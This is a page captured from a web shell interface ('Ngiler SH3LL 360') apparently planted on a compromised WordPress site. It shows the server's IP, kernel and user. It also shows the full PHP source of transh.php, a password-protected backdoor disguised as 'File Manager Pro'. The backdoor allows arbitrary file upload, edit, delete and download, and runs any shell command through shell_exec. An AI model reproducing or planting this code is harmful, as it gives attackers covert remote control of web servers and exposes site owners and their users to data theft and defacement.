Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
likhxapw
/
artwillbd.com
/
wp-content
/
plugins
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
63.250.38.10
System
Linux premium90.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User
likhxapw
PHP Version
8.3.30
Software
LiteSpeed
Doc root
Writable
close
Edit File :
transh.php
| Size :
14.07
KB
Copy
<?php session_start(); @error_reporting(0); /* ===== PASSWORD CONFIG ===== */ $password = '@4NaKk4mPAnG'; // GANTI PASSWORD INI $log_file = __DIR__.'/access.log'; // file log akses /* ===== LOG FUNCTION ===== */ function write_log($message){ global $log_file; $time = date('Y-m-d H:i:s'); $ip = $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN'; file_put_contents($log_file, "[$time] [$ip] $message\n", FILE_APPEND); } /* ===== LOGIN CHECK ===== */ if (!isset($_SESSION['fm_login'])) { if (isset($_POST['fm_pass']) && $_POST['fm_pass'] === $password) { $_SESSION['fm_login'] = true; write_log("LOGIN SUCCESS"); header("Location: ".$_SERVER['PHP_SELF']); exit; } // FORM LOGIN if(isset($_POST['fm_pass'])){ write_log("LOGIN FAILED ATTEMPT: ".$_POST['fm_pass']); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Login File Manager</title> <style> body{font-family:Arial,sans-serif;background:linear-gradient(135deg,#667eea,#764ba2);height:100vh;display:flex;align-items:center;justify-content:center;} .login-box{background:#fff;padding:30px;border-radius:10px;box-shadow:0 10px 30px rgba(0,0,0,.3);width:300px;text-align:center;} h2{margin-bottom:20px;color:#333;} input{width:100%;padding:10px;margin-bottom:15px;border:1px solid #ccc;border-radius:5px;} button{width:100%;padding:10px;background:#667eea;color:#fff;border:none;border-radius:5px;font-weight:bold;cursor:pointer;} button:hover{background:#5a67d8;} </style> </head> <body> <form class="login-box" method="post"> <h2>🔐 MARCOPOLO #_#</h2> <input type="password" name="fm_pass" placeholder="Enter Password" required> <button type="submit">LOGIN</button> </form> </body> </html> <?php exit; } /* ===== LOGOUT ===== */ if (isset($_GET['logout'])) { write_log("LOGOUT"); session_destroy(); header("Location: ".$_SERVER['PHP_SELF']); exit; } /* ===== FILE MANAGER ===== */ $folder = isset($_GET['folder']) ? $_GET['folder'] : ''; $folder = str_replace(["\0"], '', $folder); $fullPath = $folder ? realpath($folder) : getcwd(); if(!$fullPath || !is_dir($fullPath)) $fullPath = getcwd(); $serverPath = $fullPath; write_log("OPEN FOLDER: ".$serverPath); // Breadcrumbs function breadcrumbs($fullPath){ $parts = explode(DIRECTORY_SEPARATOR, $fullPath); $build = ''; $crumbs = []; foreach($parts as $p){ if($p==='') continue; $build .= '/'.$p; $crumbs[] = "<a href='?folder=" . urlencode($build) . "'>$p</a>"; } return '<div class="breadcrumb"><a href="?folder=/">/</a> ' . implode(' <span>/</span> ', $crumbs) . '</div>'; } // POST actions if($_SERVER['REQUEST_METHOD']==='POST'){ // Create file if(!empty($_POST['new_file'])){ $file = $fullPath . DIRECTORY_SEPARATOR . basename($_POST['new_file']); @file_put_contents($file, ''); write_log("CREATE FILE: ".$file); } // Create folder if(!empty($_POST['new_folder'])){ $dir = $fullPath . DIRECTORY_SEPARATOR . basename($_POST['new_folder']); @mkdir($dir); write_log("CREATE FOLDER: ".$dir); } // Rename if(!empty($_POST['old_name']) && !empty($_POST['new_name'])){ $old = $fullPath . DIRECTORY_SEPARATOR . $_POST['old_name']; $new = $fullPath . DIRECTORY_SEPARATOR . $_POST['new_name']; @rename($old, $new); write_log("RENAME: $old -> $new"); } // Save edited file if(!empty($_POST['edit_file']) && isset($_POST['content'])){ $edit_file = $fullPath . DIRECTORY_SEPARATOR . $_POST['edit_file']; @file_put_contents($edit_file, $_POST['content']); write_log("EDIT FILE: ".$edit_file); } // Upload file if(!empty($_FILES['_upl']['tmp_name'])){ $upload_file = $fullPath . DIRECTORY_SEPARATOR . basename($_FILES['_upl']['name']); @copy($_FILES['_upl']['tmp_name'], $upload_file); write_log("UPLOAD FILE: ".$upload_file); } // Terminal command if(!empty($_POST['terminal_cmd'])){ $cmd = $_POST['terminal_cmd']; write_log("TERMINAL CMD: ".$cmd); } header("Location:?folder=" . urlencode($fullPath)); exit; } // DELETE if(isset($_GET['delete'])){ $target = $fullPath . DIRECTORY_SEPARATOR . $_GET['delete']; if(is_dir($target)) @rmdir($target); elseif(is_file($target)) @unlink($target); write_log("DELETE: ".$target); header("Location:?folder=" . urlencode($fullPath)); exit; } // DOWNLOAD if(isset($_GET['download'])){ $file = $fullPath . DIRECTORY_SEPARATOR . $_GET['download']; if(is_file($file)){ write_log("DOWNLOAD: ".$file); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } // Directory listing $items = @scandir($fullPath); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager Pro</title> <style> /* (Styles sama seperti sebelumnya, termasuk terminal) */ body{font-family:'Segoe UI',sans-serif;background:linear-gradient(135deg,#667eea,#764ba2);min-height:100vh;padding:20px;} .container{max-width:1200px;margin:0 auto;background:rgba(255,255,255,0.95);border-radius:15px;box-shadow:0 20px 60px rgba(0,0,0,0.3);overflow:hidden;} .header{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:white;padding:30px;text-align:center;position:relative;} .header h1{font-size:2.5em;margin-bottom:10px;text-shadow:2px 2px 4px rgba(0,0,0,.2);} .header p{opacity:0.9;font-size:1.1em;} .header a{color:white;text-decoration:underline;position:absolute;top:20px;right:20px;} .content{padding:30px;} .breadcrumb{background:#f8f9fa;padding:15px 20px;border-radius:8px;margin-bottom:25px;font-size:14px;border-left:4px solid #667eea;} .breadcrumb a{color:#667eea;text-decoration:none;font-weight:600;} .breadcrumb span{color:#999;margin:0 5px;} .server-path{background:#e9ecef;padding:12px 20px;border-radius:8px;margin-bottom:25px;font-size:13px;color:#495057;font-family:'Courier New',monospace;} .actions-panel{display:grid;grid-template-columns:1fr 1fr 1fr;gap:15px;margin-bottom:30px;} .action-card{background:white;border:2px solid #e9ecef;border-radius:10px;padding:20px;transition:all 0.3s;} .action-card:hover{border-color:#667eea;box-shadow:0 5px 15px rgba(102,126,234,0.2);} .action-card h3{color:#667eea;margin-bottom:15px;font-size:1.1em;} input[type="text"],input[type="file"],textarea{width:100%;padding:10px 15px;border:2px solid #e9ecef;border-radius:6px;font-size:14px;transition:border-color 0.3s;margin-bottom:10px;} input[type="text"]:focus,input[type="file"]:focus,textarea:focus{outline:none;border-color:#667eea;} button{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:white;border:none;padding:10px 20px;border-radius:6px;font-size:14px;font-weight:600;cursor:pointer;transition:all 0.3s;width:100%;} button:hover{transform:translateY(-2px);box-shadow:0 5px 15px rgba(102,126,234,0.4);} .file-list{list-style:none;padding:0;} .file-item{background:white;border:2px solid #e9ecef;border-radius:10px;padding:15px 20px;margin-bottom:10px;display:flex;align-items:center;justify-content:space-between;transition:all 0.3s;} .file-item:hover{border-color:#667eea;box-shadow:0 3px 10px rgba(102,126,234,0.15);} .file-info{display:flex;align-items:center;flex:1;} .file-name{font-weight:600;color:#495057;} .file-actions{display:flex;gap:10px;align-items:center;} .btn-open{background:#28a745;color:white;} .btn-edit{background:#ffc107;color:#333;} .btn-delete{background:#dc3545;color:white;} .btn-download{background:#17a2b8;color:white;} .btn-open:hover{background:#218838;} .btn-edit:hover{background:#e0a800;} .btn-delete:hover{background:#c82333;} .btn-download:hover{background:#138496;} .rename-form{display:flex;gap:5px;align-items:center;} .rename-form input{width:150px;padding:6px 10px;margin:0;} .rename-form button{background:#17a2b8;padding:6px 12px;width:auto;} .rename-form button:hover{background:#138496;} .editor-panel{background:white;border:2px solid #667eea;border-radius:10px;padding:25px;margin-top:30px;} .editor-panel h3{color:#667eea;margin-bottom:20px;font-size:1.3em;} .terminal-panel{background:black;color:#0f0;padding:20px;border-radius:10px;margin-top:30px;font-family:monospace;} .terminal-panel textarea{background:black;color:#0f0;border:none;height:150px;} @media(max-width:768px){.actions-panel{grid-template-columns:1fr;}.file-item{flex-direction:column;align-items:flex-start;}.file-actions{margin-top:10px;width:100%;flex-wrap:wrap;}} </style> </head> <body> <div class="container"> <div class="header"> <h1>📁 File Manager Pro</h1> <p>Advanced File Management System</p> <a href="?logout=true">Logout</a> </div> <div class="content"> <?php echo breadcrumbs($fullPath); ?> <div class="server-path"><strong>Server Path:</strong> <?php echo htmlspecialchars($serverPath); ?></div> <div class="actions-panel"> <div class="action-card"> <h3>📄 Create New File</h3> <form method="post"> <input type="text" name="new_file" placeholder="Enter filename..."> <button type="submit">Create File</button> </form> </div> <div class="action-card"> <h3>📁 Create New Folder</h3> <form method="post"> <input type="text" name="new_folder" placeholder="Enter folder name..."> <button type="submit">Create Folder</button> </form> </div> <div class="action-card"> <h3>⬆️ Upload File</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="_upl"> <button type="submit">Upload File</button> </form> </div> </div> <ul class="file-list"> <?php foreach($items as $i){ if($i==='.' || $i==='..') continue; $full=$fullPath.DIRECTORY_SEPARATOR.$i; $isDir = is_dir($full); echo "<li class='file-item'> <div class='file-info'><span class='file-name'>$i</span></div> <div class='file-actions'>"; if($isDir){ echo "<a href='?folder=".urlencode($full)."' class='btn-open'>Open</a>"; echo "<a href='?folder=".urlencode($fullPath)."&delete=".urlencode($i)."' class='btn-delete' onclick='return confirm(\"Delete folder?\")'>Delete</a>"; }else{ echo "<a href='?folder=".urlencode($fullPath)."&edit=".urlencode($i)."' class='btn-edit'>Edit</a>"; echo "<a href='?folder=".urlencode($fullPath)."&download=".urlencode($i)."' class='btn-download'>Download</a>"; echo "<a href='?folder=".urlencode($fullPath)."&delete=".urlencode($i)."' class='btn-delete' onclick='return confirm(\"Delete file?\")'>Delete</a>"; } echo "<form class='rename-form' method='post'> <input type='hidden' name='old_name' value='$i'> <input type='text' name='new_name' placeholder='New name'> <button type='submit'>Rename</button> </form>"; echo "</div></li>"; } ?> </ul> <?php // Edit file if(isset($_GET['edit'])){ $editFile=$fullPath.DIRECTORY_SEPARATOR.$_GET['edit']; if(is_file($editFile)){ $content=htmlspecialchars(file_get_contents($editFile)); echo "<div class='editor-panel'> <h3>✏️ Editing: ".$_GET['edit']."</h3> <form method='post'> <textarea name='content'>$content</textarea> <input type='hidden' name='edit_file' value='".htmlspecialchars($_GET['edit'])."'> <button type='submit'>💾 Save Changes</button> </form> </div>"; } } ?> <!-- Terminal Panel --> <div class="terminal-panel"> <h3>💻 Terminal</h3> <form method="post"> <input type="text" name="terminal_cmd" placeholder="Enter command..." style="width:80%;padding:6px;margin-bottom:10px;"> <button type="submit" style="width:18%;">Run</button> </form> <?php if(!empty($_POST['terminal_cmd'])){ $cmd = $_POST['terminal_cmd']; write_log("TERMINAL CMD: ".$cmd); echo "<pre>".htmlspecialchars(shell_exec($cmd." 2>&1"))."</pre>"; } ?> </div> <!-- Access Log Link --> <div style="margin-top:20px;"> <h3>📜 Access Log</h3> <a href="?view_log=true" style="color:#667eea;text-decoration:underline;">View Access Log</a> </div> <?php if(isset($_GET['view_log'])){ echo "<div style='background:#f8f9fa;padding:15px;margin-top:10px;border-radius:8px;height:300px;overflow:auto;'>"; if(file_exists($log_file)){ echo "<pre>".htmlspecialchars(file_get_contents($log_file))."</pre>"; } else { echo "<p>No log found.</p>"; } echo "</div>"; } ?> </div> </div> </body> </html>
Back